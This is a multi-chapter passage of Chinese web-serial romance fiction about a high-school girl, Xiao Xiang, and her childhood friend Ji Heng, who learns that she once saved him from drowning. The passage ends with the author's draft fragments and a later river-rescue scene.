萧湘在笔记里写下这段话。
潇潇洒洒地和自己和解，跟过去道别。
她枕着椅背仰起头，小憩几秒后，盖起笔，关上本子下床。她将写过的纸张一页一页撕下来，对折撕裂后扔进垃圾桶里。
萧湘没有理会室友的偷瞄，也没有回复舒蝶的疑问，只笑了笑告诉她：“都是过去式了。”
然后，睡觉！
次日的黎明如期而至，同时到来的还有高一年级的入学考试。这回的考试与以往不同，首次集齐语数外理化生政史地九大科目。
为了考个好名次，同学们早早便起床去教室复习，萧湘也不例外。
长雅高中部共三栋教学楼，都是新世纪后重建的钢筋混凝土框架结构，三个年级各一栋。每栋均是五层，每层四间教室。教室等分在平行双合楼梯的两侧，洗手间则在每层楼的西侧尽头。
高一年级的教室在G1栋，布局比较讲究，一楼东侧第一间是清北班，其他班级按中考成绩高低均匀分配随机排序。
因为特优班的加入，这一届的高一教室编排与以往不太一样，特优班被安排在清北班的旁边，占着普班最耀眼的位置。
长雅的班主任有个共同的习惯，便是按成绩排座位，故而萧湘他们现在的位置都是临时自选的，先到先选。
萧湘是和舒蝶一起进教室的，她们的位置也选在了一起。
萧湘没有参加军训，少了七天相处，她和同学们都不熟，而舒蝶就不同。她虽然在宿舍受欺负，但恬静貌美的她在班上还是很受欢迎的，她们一进教室就有好几个同学跟她打招呼。
“人缘不错哦！”萧湘冲她竖起大拇指，神情里还带有些许鼓励的意思。
舒蝶挽了下鬓边的碎发，“可能大家比较喜欢我这种安静的。”
萧湘回她微微一笑。
看到和舒蝶长相有几分相似的萧湘，前排男生不禁打趣：“你们是姐妹吗？”
萧湘和舒蝶对视一眼，笑着摇头。
“搞学习啦！”舒蝶对那男生说。
男生“哦”了一句，立即转过去看书。
舒蝶冲他笑了下，心情不错地打开书本。
萧湘瞧着身旁的女孩，她竟有些看不懂。
明明有那么多朋友，为什么还会受欺负？
更何况除了班上的朋友，还有那个戴红绳子的男生对她暗暗献殷勤。
看不懂就不看，好好学习天天向上。
萧湘打开书本开启学习模式。
三十分钟的早自习很快过去，下自习是早餐时间。铃声一响，同学们立刻拿着干饭的工具轰隆地往外冲。
萧湘从未见过这样的阵势，她以前小学初中的时候干饭也挺积极的，但没有猛到这个程度。那架势，跟逃命似的。
萧湘还没有反应过来，舒蝶另外一边的同桌女生拉着她就往外冲。
当萧湘从凌乱中回过神来的时候，教室乃至整栋都已经人去空空。
原来不止是他们班啊，整座校园皆是如此。反应过来的萧湘立马操起家伙，也冲了出去。
“萧湘！”
听到有人叫自己的名字，刚刚起步的萧湘猛然急刹，差点栽个跟头。
“谁呀？”
萧湘愤怒回头。
咦，人呢？
萧湘向后180°半圆扫视。
“呵~我在你前面呢！”
那人又说，声调很是乐呵。
“……”
萧湘回过身，面朝前进的方向，定睛一看，竟是计衡！
没错，就是他，昨晚在田径场见过。
此时此刻他就站在距离她两米不到的教学楼转角，双手环臂，一脸玩味地看着她。
昨天不是还说不认识自己么？怎么这会儿还找上门来了？
“你……你记得我？
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”
计衡点头，垂下手臂走到她身边。
“你是我妈妈的妈妈的哥哥的邻居的孙女，我小时候还给你当过小弟，对吧？”
萧湘原地发蒙，疯狂眨了眨眼睛，琢磨着该说什么好呢？
想了好大一会儿适才蹦出一句：“你现在能说这么多话了呀？”
计衡：“……”
“我的意思是……算了，我没有意思。”萧湘放弃找补，“你是突然想起我来了？”
“嗯，突然想起来了。”
萧湘惊讶地看着他。
计衡摇晃着脑袋叹了叹气，“哎！童年阴影，挥之不去。”
“……所以，你是来找我报仇的？”
“哈！那倒不至于。”计衡侧目望了一眼学生食堂，“很抱歉昨晚没有认出你，希望你不要介意。”
真是男大十八变呀！计衡的声音、语调、神情都与她记忆里那个冷冷的小计子截然不同。眼前这位，气质格外清爽。
她好像，更喜欢了。
哦no，这怎么可以！
萧湘拍了拍自己的脸颊，露出一个甜甜的微笑，应道：“没关系，我不介意。”
“不介意的话我请你吃饭豪华套餐赔礼道歉吧！”
“还有豪华套餐？”萧湘惊讶。
计衡抬了抬下巴，指向学生食堂。
“……”
长雅的学生食堂堪比美食街，不仅丰盛，还色香味俱全。萧湘无言以对，因为昨晚她吃过一顿，确实担得起豪华套餐这四个字。
“好啊，那走吧！”
“走。”
两人并肩向食堂走去。
毕竟有几百米距离，还是一起去吃，不说话总不好吧！
可说什么呢？
今时不同往日，他已经变得完全不认识了，继续从前的话题也不合适。
萧湘侧目瞄了瞄，看着少年一身和自己同款的校服，想起室友们先前说的话，她们说计衡是本届星城中考状元。
“长雅有几个计衡？”萧湘突然问。
计衡好像没有听清，顿了几秒才回复：“据我所知只有一个。”
萧湘始终不敢相信，那个被人背后叫做傻子的男孩竟然是个天才。她惊讶中带着戏谑道：“没想到你竟然也考上了长雅。”
“竟然？”计衡笑笑，“也是！”
“你不会是走南天门进来的吧？”萧湘小声地问。
“哈哈，你猜。”
“……”
到了食堂门口，很多同学都已经吃完返程了。
遇到几个同学热情地跟计衡打招呼，他只是冲人家轻轻一笑，不带任何情绪。
萧湘认识他们，是隔壁清北班的，昨天上晚自习路过的时候见过。只是没见着计衡，但确实看到他们教室里空了一个位置。
回想昨晚在田径场看到他，笔下的画已成形。同时间上下晚自习，她可是一下课就直奔田径场的，那么他再早、天赋再高，也不可能分分钟完成一副全神的画作吧？
难道室友们口中的计衡真是她认识的那个计衡？这也太不可思议了。
不过就方才他面对同学问好的表现，萧湘感觉他好像还是小时候那个冷冷的他，可明明他在自己面前挺阳光的呀！
忽然间，萧湘联想到室友舒蝶，感觉他们如出一辙。
不禁感叹：“人都这么复杂的吗？”
“什么？”计衡回应。
萧湘摇头，“没，没什么。”
“注意脚下。”
“啥？”
“上楼了。”
“噢！”
学生食堂是一栋四层的大楼，一层是厨房，二三层是食堂，四层是超市。
二层人太多，萧湘提议去三层。
两人转身便往三楼走。
上到中间休息平台处，和正在下楼的人来了一个对对碰。
“你们……”
9. 疏导
萧湘抬眸一看，竟是舒蝶和她的同桌。
“你们两个是一起来的？”舒蝶问计衡。
她问的计衡，而不是同班同学兼室友的萧湘。
“不是。”
计衡回得相当自然，连看都没有看萧湘一眼。
闻言，萧湘感觉心里凉凉的。虽然她昨晚才写过诀别词，但经过先前的重新认识，她对他还是有情谊在的。现下听到他这样说，她的心不凉才怪！
难过归难过，再难过也不能表现出来给他们看。她能感觉到他和舒蝶之间是有特别故事的，既然他都那么说了，显然此时此刻自己在这里非常多余，于是她先一步上去。
听计衡那样回答，舒蝶的脸色瞬间多云转晴，绽出一个甜美的笑容，温柔地对他说：“快去吃饭吧，去晚了就没得吃了。”
计衡侧身给她让路，伸手示意她先走。
“哇哦！”
一旁的女同学惊呼，眼神充满羡慕。
舒蝶眉梢轻扬，挽着同桌的胳膊美滋滋地下楼。
亲眼看着舒蝶下去后，计衡方才往上走。
此时萧湘已经打好饭，端着碗在用餐区寻寻觅觅。余光瞥见计衡，于是她选择了某处只有一个空位的桌子坐下来。
计衡瞅着萧湘的动作哼哼浅笑，不急不忙地走向打餐口。
等他打完，跟萧湘同座的同学刚好吃完走人。
计衡趁机坐了过去，不带一丝脸红。
萧湘：“……”
食不言寝不语，她不管他，吃自个儿的。
嗖嗖嗖吃完，准备离开。临走之际，她偷瞟计衡。但见他吃得特别养生，真真正正做到细嚼慢咽。
那一刻，萧湘意识到自己变了。
从前哪怕别人都说他是智障，她也义无反顾地对他念念不忘，如今她却因为他吃饭太慢而看他不惯。
啊啊啊！强迫症，急死人。
时间真是残酷，他们终将长大，也终将陌生。
罢了，走吧。
萧湘起身去洗碗池洗碗。
分分钟将碗洗干净，余光里旁边水龙头里的水一直在流，而打开它的主人却拿着已经洗干净的碗跟身边的同学喋喋不休，完全不管水资源有没有浪费。
“同学，你洗完了吗？”萧湘礼貌询问。
对方还在聊天，哈哈大笑地聊，根本没空理会萧湘。
“同学，请问您洗完了吗？”
萧湘以为他没有听到，提高音量又重复问了一遍。
然而对方仍然没有反应。
和他聊天的同伴瞧见了萧湘，也听到了她的话，却没有提醒他。
显然，他们就是故意的。
哗哗流水像是血液从血管里迸出，看得萧湘很是心疼。她盯着那人看了几秒，把手伸过去果断地把水龙头给关了。
她的动作刚刚完成，对方便立刻察觉到。
“你谁呀？凭什么关我的水？”男生怒气冲冲地问。
但见是个漂漂亮亮的女生，他忽然改了口吻：“同学，你是想吸引我的注意力吗？”
萧湘白了他一眼，送了他两个字：“神经！”
“你说什么？”男生扯住萧湘一只胳膊，手感细细软软的，随即露出一个猥琐的笑容，“恭喜你，成功引起了我的注意力。”
这怕不是个傻子吧！
萧湘用看二哈的眼神看男生。
男生抬起另外一只手，手指向后跳了跳，示意同伴先走。
“怎么？不承认？我跟你说，在这里想要得到我青睐的女生多得去了。你说说，你有什么特别的本事。”男生说着，视线对着萧湘的身前上下扫视。
这又是什么物种？一点学生样都没有。
萧湘拳头硬了，她压着声线：“松开。”
“就不！”男生吹着口哨摇头，加大抓她的力度，满脸得意的笑容。
萧湘扫了一眼周边，“我再说一遍，请你把手松开。”
“哟，我就不松，我看你能怎么滴？”
男生不仅没松，还放下碗准备把另一只手也提过来。
就在他的脏手即将落在萧湘身上的时候，萧湘提起手臂往下一垂，刚准备给他点教训，突然听到“啪”的一声。
惊得萧湘和男生同时回头看向声源处。
他们还未看清是什么情况，只见眼前划过一道影儿。
是计衡！他把自己的青花碗扔进了洗碗池。他闪了过来，一只手沉沉地按住萧湘的肩头，另一手拧着男生的胳膊。
“松开。”计衡冷冷地对男生说。
男生挤了挤眼皮，“哟，是你啊！好吧，那小爷今天就给你个面子，放过她了。”
男生说完松开萧湘的手臂，拿起碗走开，没走两步突然回过头来。
他指着萧湘说：“老子记住你了。”
萧湘一边揉着手臂，一边就要开怼。她刚刚提气，却被计衡架在肩上力度压了下去。
他冲她摇了摇头，示意她不要冲动。
萧湘会意，没再理会男生。
男生见她没有做声，又瞧了一眼计衡，真真走了。
周围看没看热闹的同学也都散了。
萧湘深吸一口，刚要吼吼，却见计衡伸手指向回教学楼的道路。
萧湘傲娇摆头，气冲冲地往他手指的方向去。
“萧女侠，等等我。”
女侠是萧湘小时候的自称，他竟然还记得。
萧湘蹬脚回眸，“我觉得你好奇怪耶！”
“人类本身就是最奇怪的物种。”计衡紧跟她的脚步。
“......”
懒得理他！萧湘加快脚步往前走。
他不跟上来还好，他这一跟上来她就莫名其妙烦躁，越想越气。
就在快要到达目的地的时候，她停下了脚步。
计衡随之止步。
“你说你呀！昨天还一副觉得我有病的样子，今天竟然主动找上门求道歉，着实让人看不懂。”
“另外，你和舒蝶有什么秘密跟我没有关系，但是请你尊重我，毕竟是你主动邀请我要请我吃豪华套餐的。”
“我看你跟别人交流的时候高冷得狠，但在我这里好像又变了个人似的，你是精分吗？”
......
知她不吐不快，他静静地听她说，没有为自己做任何辩驳。
“你怎么不说话？”萧湘更生气了。
计衡没有正面回复，而凑到她的身前，把手抬到她的脑袋边用手掌帮她扇风。
“你继续。”他温柔地说。
萧湘被他逗笑，“啪”地拍停他的扇子，继续吐槽：“这就是长雅素质吗？长雅素质何在？我才进这学校24小时不到，见的奇葩倒是不少。我都怀疑我来错了地方，这根本就不是真正的长雅。我心目中的长雅可不是这样的，他们的学生都是品学兼优的。”
计衡轻哼一笑，“你见过几个长雅学生？”
见过几个？萧湘懵住。
来星城之前她确是一个长雅学生都没见过，品学兼优只是她对百年名校的理解。
“没，没见过，但我听说过。我有个初中同学的亲戚就是长雅毕业的，听我同学说，长雅中学的学生们都厉害极了，不仅学习成绩好，道德素质也高。”
计衡笑笑没说话。
“怎么，我说错了吗？长雅可是全国有名的高等学府，他们学生的优秀众所周知。”
计衡：“眼见为实，耳听为虚。”
“怎么？你对长雅很了解？”萧湘以为他也是这次中考才来这座学校。
“我是长雅的直升生，初中三年都是在这里读的。”
萧湘微微撇嘴，“是……是嘛！那你说说看，百年名校何以至此？”
“学校是好学校，这不容置喙。”
“那你还说！”
“首先，学习成绩和人品没有直接关系。其次，个别另类的学生代表不了整个学校。”计衡很认真地解释。
萧湘听着很有道理，但她还是感觉奇葩太多，严重破坏了长雅在她心目中的形象，割裂了她的信仰。
见她沉默，计衡继续说：“学校就是一个小社会，鱼龙混杂，良莠不齐。你不能只看表面，要用心去感受。比如有些人表面看起来柔柔弱弱
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，其实内心比谁都强大心机比谁都要深。有些事看起来简单，实际牵扯很多，有可能会给你带来无法预料的后果。你明白我的意思吗？”
道理萧湘自然是明白的，两个比如她也晓得，一个是舒蝶，另一个是那个没关水的男生。只是她不明白的是，明明他和舒蝶看起来很熟的样子，他为什么会这么说呢？他们之间究竟有什么秘密？
忽然间，萧湘感到非常好奇。
“嗯？”计衡提醒她回应。
萧湘笑回：“明白明白，你的意思是叫我不要多管闲事嘛！”
计衡点头，“你可以这么理解。”
“小计子啊！”萧湘唤他。
听到这个久违的外号，计衡的不禁一怔。想起当年只要她说这句，自己就会立马回一句“小的在。”
“小的在。”计衡竟然脱口而出。
“哈哈哈~”萧湘惊笑。
“哈！”见她笑，计衡也不好意思地跟着笑了。
气氛一下子变得欢快起来。
萧湘瞧着时机差不多成熟，她终是将困惑已久的问题问了出口：“小计子，你和舒蝶以前认识吗？你们什么关系呀?”
“我们是开学后才认识的，她可能对我有救命之恩。”
“可能？”
“嗯。可能。我不确定是不是她救的，但目前的调查结果是她。”
计衡本想如实奉告，他瞧着萧湘，想起她那似曾相识的背影，他脑子突然转换一种思路。
“那天在江......”
“叮~”
考试预备铃响了。
两人蓦然对视，下一秒，他们提起腿飞速地往教室冲。
入学考试的考场是各个班级自己的教室，没有指定座位，仍然是学生自选，同学们选好了座位便静静地等待老师进来发试卷。
突然，两道人影闪过，一个进了特优班的教室，另一个向清北班奔去。
同学们的眼球一下子被抓住，齐刷刷地看向门口的萧湘。
此时的萧湘扶着门框刹车，放眼望去，清一色的蓝白校服密密麻麻地点缀在教室之中。一时间，她没有找到空的位置。
“萧湘，过来过来，这里。”
萧湘顺着声源看去，是先前那个笑问她和舒蝶是不是姐妹的男生。
萧湘嗖嗖落座。
“感谢老铁，感谢感谢！”她双手合十对同桌的男生说。
男生甩了甩手指，“没事儿。”
“好好考，加油！”
“加油！”
两人碰了下手肘，端端正正地坐好。
“叮铃铃~”响起正式考试铃声。
监考老师抱着试卷走了进来。
闻着试卷上墨汁的清香，听着窗外灌木丛中柳莺轻快地鸣叫，看着同学们挥笔答题，萧湘初次感觉到长雅温馨的校园气氛。
计衡说得没错，个别另类的学生不能代表学校。
凡事要往好的一面想，不要被眼前的阴霾遮住发现美的眼睛。
萧湘轻舒一口气，集中注意力，落笔有神。
时光飞逝，三天考试转眼过去。
刚好又到了周末。
依据长雅周末管理制度，高一双休，高二单休，高三月休。
幸福的高一年级，又放假啦！
得知隔壁寝室空着一个床铺，萧湘向班主任申请了调换宿舍，梁老师批准了。
新宿舍都是考试三天熟络的同学，她们很快打成一片，约好了周末一起去橘子洲。
周六清晨，萧湘她们一行人开开心心地游世界上最大的“航母”。
就在橘洲尽头，萧湘看到一抹熟悉的身影。
是计衡。
他正在岸边专心致志作画。
萧湘以上洗手间为由跟室友暂时分开，偷偷走了过去。
画好像还是那晚那幅画，只是那晚她好像没有看到他有画少女的五官，此时已经描好。
萧湘涩涩靠近，迫不及待地想要看下让他那么专注的人究竟是何方女神。
当她看清画中少女的脸，原地惊住。
那是……
10. 第 10 章
那根本不是什么女神，而是个仅用四笔便勾勒出的萌萌小卡通。
两个倒V代表眉眼，一个S代表鼻子，一个顺V代表嘴巴。
这容颜……绝了！
是什么样的脑回路，才能让眼前清冷的少年画出这样一张脸？
萧湘看着女孩的面容不禁笑出了声。
少女欢快的笑声很快传开，传到了画主人的耳中，他侧身看向那个发笑之人。
少女立于阳光之下，笑靥如花。
“好看吗？”他还问。
萧湘疯狂点头，“好看，好看，太好看了。”
“知道这是谁吗？”
“谁？”
“我的救命恩人。”计衡云淡风轻地说。
萧湘噗呲一声，“真的假的？人家是对你有恩，可你却是把人家当仇人呀！哈哈～”
“哈！”计衡看着也觉得好笑，他扬了扬眉，直勾勾地盯着萧湘的眼睛，“你仔细看看，这个画面熟不熟悉？”
“嗯？”
萧湘没明白他此言何意，不过她还是乖乖听了他的话，认认真真地看那幅画。
其实初见这画的时候萧湘就感觉里面的场景有些熟悉，只是那时光线暗淡，她亦没有看出所以然。现下再细看，大好晴天之下，每一笔线条都显得那么生动。
熟悉么？当然熟悉。
这背景不正是开学那天晚上的湘江？
那单车不正是她所骑的吗？
而那女孩……不正是她自己？
不不不！萧湘心下否定。
那晚只有天知地知她知他知，计衡怎会知？
她冷静一想，只有一种解释——计衡便是她救起的那个少年。
妈呀！萧湘瞳孔地震。
那个让她痛失初抱和初吻的男生竟是计衡！
想起生命垂危时的前胸贴后背，想起情急之下时的唇齿相依……
“咦！”萧湘双手捂脸。
怎么会是他？太太太羞涩了。
“谢谢你！”计衡很地说。
他还说！不准说。
萧湘一只手伸出去丑拒，另一只手继续蒙着眼睛。
“你别说话，你先让我冷静一下。”
计衡轻笑点头，“好。”
怎么办怎么办，这以后在他面前还有什么脸面？
就在萧湘不知如何收场的时候，听见室友在不远处唤她。
“萧湘，在那边干嘛呢？过来合影呀！”
“哦哦哦，来了来了。”
萧湘应着，嗖嗖冲过去。
萧湘放空自己，像行尸走肉一般任室友摆弄拍照姿势。
与此同时，计衡抱着画架走了上去。他远远地看着萧湘，脑海里映刻关于她的一帧又一帧。
昨天考完试放学后，他便去到道路监控中心。先前帮忙查监控的工作人员告诉他，他是从她下水时开始查的，用人脸识别系统标记跟踪，一直跟到了长雅中学的校门口。
当时校门口的监控系统被切断，他无法继续追踪，他是调取的马路上、对面商场的监控，经过比对得出女孩是舒蝶的结论。
计衡向来相信直觉，每次看到萧湘他都有特别的感觉，尤其是她奔跑的背影令他记忆非常深刻。而他对舒蝶却没有任何感觉，反倒是看出了她的心机深沉。故而他选择了重新调取监控，自己亲自确认。
计衡没有纠结自己被救后的画面，而是反向查询，追踪女孩的来处。
尽管女孩当时有意避开摄像头，可倒溯到在此之前，她有在多个监控处露脸，而最清晰的一次便是她和他同上一辆公交车。原来他们不仅在江边见过，早早在她就有
计衡阻止了，他尊重那个女孩，心想着：有缘自会相见。
【先写到这里，下面的是灵感片段，为了小红花先放着，后续调整。】
确实到了饭点，可是此刻他已然没有食欲。他将目光再次投向长雅，那里不仅有他的青春，还有很多美食。
漂泊在外，甚是想念。
八年了，是时候回去看看了。
长雅校园是禁止外人进出的，计衡徘徊在美食琳琅满目的校门口，一时间不知该如何择选。他挑来挑去，最终走进了一家麻辣烫店。
当年某人第一次主动约他就是来的这家店子，只是那时候规模还没有这么大，不过店子里的生意一如既往地好。计衡扫了一眼，见已经没有空余的座位，转身便要离开。
“帅哥里边请，马上就有位置。”
在星城，帅哥是男性的统称，无关长相，全龄通用。
老板娘见有男顾客进来便顺口招呼，顺着客人的目光一看，咦，这个是真帅哦！
再看，还有点眼熟哟！
“小计子？”
老板娘一声高呼，同时惊到两个人。
计衡本人、还有他心里的某人——萧湘。
此刻萧湘正专心致志地啃卤鸡爪，突然听到那消失多年的昵称，她嘴一抖，鸡爪瞬间下坠。好在她反应快，及时将鸡爪扣住。可是她的嘴角、她的手……惨不忍睹喽！
霎时，萧湘头脑短路，她的第一反应竟是不想让计衡看到自己这般狼狈的样子，而不是去确认那昵称的主人是不是计衡。
她慌忙擦掉桌子上滴落的汤汁，火速冲向洗手间，麻利地将嘴角和手上的油渍洗干净，然后躲在卫生间门口偷觅方才进来的那个人。
五六十平的店子里密密麻麻的人头中，只一眼，萧湘便寻到了那个曾经令她魂牵梦萦的身影。
此刻他正在自助区调酱，动作轻快流畅，看着极度舒适。
如今的他已然没了少年的青涩之感，浑身却散发着成熟男人的阳刚之气。
微现侧颜，仍是那么耀眼。
真的是他！萧湘不觉身心颤动。
以为那些深情只属于曾经，以为余生只能做陌生人，没想到再见他还是会情不自禁。
“矜持，矜持，保持矜持。”
萧湘气运丹田，强行镇压狂乱的心跳，调整好面部表情，而后故作潇洒地走了出去。
看到萧湘，老板娘一拍脑门，自责不已地对计衡说：“瞧我这眼力见儿，竟然以为你是一个人来的。对不住啊，阿姨这就给你重新收拾位置。”说完，她立即去到萧湘座位边。
什么意思？计衡听得有些犯蒙。
下一秒，耳边传来久违的声音。
“好久不见呀！老同学。”
对上萧湘炽热的目光，计衡瞳孔地震。
刚回国就重逢心心念念的人，他竟有点不敢相信。
怕不是看花了眼睛？
得好好瞅瞅，确认确认。
虽是四目相对，萧湘却没有从计衡的眼睛里看到一丝邂逅老友的情绪，倒是他呆呆
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看自己的样子俨然在看一个似识非识的傻子。
此情此景，与当年在长雅田径场那次重逢何其相似！
他呀，从始至终都不曾将她记住。
萧湘心下一酸，急忙笑着改口：“不好意思啊，我认错人了。”
说罢，她对着墙上的收款码一扫，随便填了个超过实际金额的数后迅速逃离。
好气，好气，好生气。
有什么好气的？别人心里从未有过你，你再气也只是自己生自己的闷气。
……
萧湘边跑边劝自己。
自省中，不自觉想起网文《拭伤诀》的那两句文案：
何以解忧，唯有自省。
以何拭伤，时间与忘。
是啊！与其黯然神伤，不如一切皆忘。
萧湘骤然停下脚步，粗暴地抹掉额头的汗珠，打算原地刷两段搞笑视频调解心情。她掏出手机，看见微信头标上出现了红色的数字，强迫症迫使她优先打开微信。
新消息来自好友单（shàn）空濛。
这货前几天失业了，一直吵着约螃蟹，无奈萧湘前几天工作实在太忙抽不出空来。
今日正好不忙，倒是可以约起来。
萧湘欣然点开消息。
单双三不过：（语音）【萧同学，告诉一个好消息。你喜欢的《拭伤诀》要影视化了，还是被立坤影视买的版权。立坤影视官宣剧组已成，但主角团还没有定，但定在星城试镜。那可是立坤、是top级的导演+制作团队，哥哥我打算去试试，就算跑个龙套哥也荣幸至极。祝福我吧！】
单双三不过：立坤影视官博截图。
单双三不过：【约吗？[螃蟹]】
果然是好消息！
喜欢多年的小网文终于迎来了出头之日，萧湘与有荣焉，心情也跟着好了起来，顺手三连回。
x2：【加油！！！祝君好运。】
x2：【期待（中华田园犬竖耳朵动图）】
x2：【嗨起来（疯狂甩头动图）】
息屏。
喜欢多年的文上岸了，喜欢多年的人呢？
计衡迎面走来，迈步的姿势一如昔日那个意气风发的少年。
他来了。
为我而来？
萧湘错愕。
毕竟当年他给的错觉太多。
她下意识扫视周遭，确定视野范围内没有任何“可疑”人士后适才笑脸相迎。
计衡端端正正地停在萧湘面前，躬身俯首直勾勾地盯着她的双目，温柔道出：“好久不见。”
萧湘受宠若惊，“你……你记得我？”
尽管此时此刻计衡已经真真切切地站在身前，萧湘仍然不敢确定。
“萧女侠救命之恩，季某人永记在心。”
计衡边说边锤了锤自己坚实的胸膛，动作甚是中二，表情略显蠢萌，与他一身西装革履的配置格格不入。
萧湘忍不住噗呲笑出声。
她抬起手背扇了扇拍了拍计衡的臂弯，“好样的，季呵呵。”
“萧女侠”和“季呵呵”是他们曾经互唤过的昵称。
两人相视一笑。
谈笑间，仿佛回到了许多年前。
“刚才怎么了？气冲冲地跑出来。”
“还不是因为你啊！”
“因为我？”计衡惶恐。
11. 疏远
萧青云：“长雅有遇到熟人吗？”
萧湘自是明白爸爸说的是什么意思，
姑姑：“穷人的孩子没有资格谈爱情，穷人要做的事情只有翻身，让自己不受穷困。贫贱夫妻百事哀，你以后就会明白，什么爱不爱都是假的。更何况你现在还这么小，懂得什么是爱？年纪小，说说喜欢很正常，但是要有分寸。为了救一个连你是谁都不知道的人连性命都不顾了，你对得起谁？你爸爸为了供你读书一年四季没有休息过，你对得起他吗？”
“我不要你对得起，你至少要对得起自己吧？是你说你想走出农村才城里读书，结果了读了个什么？读了个差点把命丢了么？还告不告诉家里一声。”
萧湘闭上眼睛。
“好了，已经这样了就不要再说她了。说多了她反而会记恨，到时候不认你这个父亲。”
第三天的考试只有一门，考完后连着国庆一起放假。
七天半的假期，特优班的同学们下完考场都商量着去哪里玩，有的说回老家帮爸妈干活，有的说去星城附近走走，有的打算去碰碰运气找找兼职，只有萧湘报了学校的志愿者协会。
因为长雅的志愿者协会是校方资助的，参加会内活动可包一日三餐的，而且萧湘本身也很想为城市的环境保护做一份贡献。
此次国庆活动由两部分组成，一是捐物，二是环卫。
捐物，就是将自己用不完或者用不着的物品捐到协会里，由协会整理后统一寄到贫困地区。
环卫，即在各大景区做志愿者，负责景区的垃圾清理。
按照志愿者协会的安排，有可捐物品的须30号晚上之前整理出来投到学校捐赠站。另外，国庆七天随机分配人员到不同的景区做环卫。
回到宿舍，萧湘便开始整理自己的物品。
她翻了一遍都没有翻到自己不用且能用的。但也不是非得捐赠，按经济实力来的，但萧湘总觉得自己还是可以出一份力，于是再翻了一遍。
终于，她在衣柜里翻出了一套雪纺夏装。是开学那天穿的，因为那次溺水事件，为了避免不必要的麻烦她一直没有再穿。她看了看，其实还挺新的，反正她是不会再穿了，扔了又可惜，不如干脆捐了。
捐吧！萧湘刚准备将衣服装进志愿袋。
适时室友周丹丹突然走了过来，满脸可惜地盯着她手里的衣服说：“湘，这么好的衣服你要扔掉吗？”
萧湘摇头道：“不是。我不想穿了，打算捐出去。”
“捐谁不是捐，不如捐给我吧？”
“啊？”萧湘没想到周丹丹会这么说，而且表情非常认真，不觉一惊。
“怎么，你舍不得啊？”周丹丹玩笑着问。
“没，没有。我只是怕委屈你，毕竟我穿过的。”萧湘连忙解释。
“没事，我从小到大都是捡的别人衣服穿的。”周丹丹说得非常自然。
“……”
闻言，萧湘心下一酸。其实她小时候也经常捡亲戚的衣服穿，可自从上中学后就再也没有了，她以为自己已经够可怜了，没想到还有比她更可怜的。她大方地将衣服递给周丹丹，“你喜欢的话就送你啦，希望你不要嫌弃就好。”
“不嫌弃不嫌弃。”周以丹笑着衣服，却随手往自己书桌上一放，“那个，湘，我先出去了哈，我找了一份兼职要去面试，人家好不容易答应招未成年，我一定要争取到。”
“嗯嗯。加油，祝你成功！”
两女孩冲对方微笑挥手。
没有了唯一一件可以捐出去的物品，萧湘并没有不开心，她想着捐给别人和送给室友本质上是一样的。
好事做成了就行，她照样很开心。
接下来就是跟团时间，看看协会是怎么安排的。萧湘没有手机，便打印了一张志愿者协会的安排表出来。
一号：橘子洲；
二号：岳麓山；
三号：天心阁；
四号：烈士公园；
五号：沿江大道；
六号：步行街；
七号：休息一天。
星城是受年轻人热捧的旅游名城，平时周末人就已经很多很多，像国庆这样的小长假更加，游客多得路都很难走通。
游客们在观光的时候萧湘他们不便添堵，便等到灯火阑珊之时再出来工作。
景区是晚上十点闭园，萧湘他们便要在此之前集合返校。
就在萧湘清理完准备返校之时，她无意瞥到尽头的江岸线边站着一对男女。
来这里观景的情侣不计其数，萧湘不以为意，只轻轻一瞥而已。
“喂，岸边的帅哥美女，要闭园了，赶紧回家哦！”
景区管理员大叔的吆喝声同时惊到了萧湘和那对男女，三人同时迈步向观光车的方向走去。
同行而不同步，就在那对男女途径灯光之下的时候，萧湘看得清清楚楚，那女孩正是她的室友周丹丹，此时她身上穿着的是自己送给她的那套雪纺。
至于周丹丹身边的男生，虽然萧湘只认真瞧过几次，但毕竟是曾经心悦过的人，她记忆犹新，正是季衡。
他们怎会在一起？萧湘略觉惊奇。记得开学那晚聊天的时候周丹丹说过她对星城很陌生，整座城市都没有一个她认识的人，眼下她和季衡并肩同行，并且有说有笑的，看起来很熟的样子。
既然先前不识，那就是后来认识的，可是“后来”也没几天，他们这么快就熟络了？
“咦！他们熟不熟关我什么事？”
萧湘摆了摆头，将脑子里的影儿驱逐。她放慢步子，刻意与他们保持距离，谁知路旁橘子林里突然窜出一个男志愿者，是邻班的，叫许诺。
“萧湘，萧湘，一起啊！”
许诺冲萧湘热情高吭。
萧湘止步的同时，前面那对男女也停下脚步，齐齐回头。
“湘！你……你怎么在这儿？”周丹丹惊呼。
“嘭”的从下方岸边传来两声巨响，似有重物坠江。
四人闻声，同时震惊。
震惊之后便是分析。都是长雅的高材生，大家心知肚明，这个地方这个时间应该没有什么重物，极有可能是人。
萧湘扫了一眼众人，好似大家都是一副无动于衷的样子。她咬了咬唇，问他们：“下去看看？”
季衡：“好。”
许诺：“不去了吧，最后一趟观光车了。”
周丹丹：“观光车马上要走了。”
三人同时回应，然而意见不一致。
“兵分三路，我俩下去看看，你们两个留守，万一有情况你们就跟景区的工作人员说说，让车子等下我们。”
“行。”三人异口同声。
商量完毕，季衡和许诺互存了电话号码，然后与萧湘一起飞速向声音发出的地方冲去。
许诺和周丹丹也快步走向观光车停车点。
十月的湘江有些闹腾，江面不清，浪涛拍岸的声音和江里的呼救声融在了一起，若非先前有坠落声响，很难发现江里有人。
江里确实有人，还不止一个，是一男一女。此时他们所处的位置距离岸边三米不到，身子正随着波浪起起伏伏，眼看着快要坚持不住，尤其是那女人，眼看着就要沉下去了。
好在他们的落水点是在橘子洲周边，岸边的护栏上绑着救生圈，萧湘和季衡同时看到，同时飞奔过去。他们一同将救生圈解下来，合力抛进江里。
江里的两个人感受到救生圈的到来后本能地伸手去抓，扑腾了几下便抓到了。两人抱着救生圈狠狠地仰头呼吸，待感觉好些后，男人竟在水中抬起
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腿一脚将女人蹬开。
脱离救生圈的女人重新没入水里，无法重新抓到救命稻草的她命悬一线。
萧湘愤愤地瞪着趴在救生圈上得意忘形的男人，她注视着江里拼命挣扎的女人，纠结着要不要下去把她救起来。想当初她救季衡的时候距离比这远得多，她估摸着救那女子应该也是可以的，于是打算再冲一次。
萧湘刚提起脚，有人轻轻握住她的胳膊将她定在原地，顺手将一部手机放在她掌中，而后如清风般跃入江中，以萧湘来不及看清的速度。
此时此刻此地，除了季衡还会有谁？
萧湘揉了揉眼睛。恰时，许诺的电话打了过来，她将情况与许诺说明，然后将视线投向江中。
水中少年正将受惊的女人拽到救生圈上，抓着她的手臂防止她被二次伤害。
“老实点，不老实你就别想上去。”
